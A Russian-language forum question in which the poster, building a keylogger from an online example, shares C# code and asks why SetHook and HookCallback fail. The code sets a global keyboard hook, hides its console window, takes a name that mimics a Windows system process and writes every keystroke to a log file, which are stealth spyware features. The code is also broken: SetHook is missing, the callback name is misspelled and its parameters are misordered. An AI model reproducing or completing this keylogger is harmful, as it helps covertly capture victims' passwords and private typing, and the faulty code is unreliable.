SetHook и Hookcallback не работают в C # - PullRequest
0 голосов
/ 13 октября 2018

Я пытаюсь закодировать кейлоггер, следуя примеру с сайта.Тем не менее, я попадаю в точки сбоя, следуя кодовой базе, представленной на сайте, SetHook и HookCallback. Вот моя кодовая база:

namespace Windows_Local_Host_Process
{
class Program
{
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallBack;
    private static IntPtr _hookID = IntPtr.Zero;


    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
    LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;
    static void Main(string[] args)
    {
        var handle = GetConsoleWindow();

        //Hide
        ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr iParam);

    private static IntPtr HookCallback(IntPtr wParam, IntPtr iParam, int nCode)
    {
        if(nCode >= 0 && wParam == (IntPtr) WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(iParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, iParam);
    }


}

Может кто-нибудь сказать мне, где я что-то упустил?

...